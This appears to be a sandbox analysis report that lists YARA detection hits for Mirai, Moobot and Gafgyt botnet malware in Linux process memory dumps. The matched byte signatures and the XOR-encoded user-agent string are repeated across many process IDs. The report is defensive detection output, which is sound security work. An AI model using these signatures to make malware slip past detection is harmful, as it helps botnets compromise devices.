7402.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6557.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7125.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7125.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7125.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7125.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7125.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7125.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6288.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6981.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6981.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6981.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6981.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6981.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6981.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6981.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6407.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7383.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7383.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7383.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7383.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7383.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7383.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6763.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6763.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6763.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6763.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6763.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6763.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6297.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7275.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7275.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7275.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7275.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7275.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7275.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6533.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6817.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6566.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
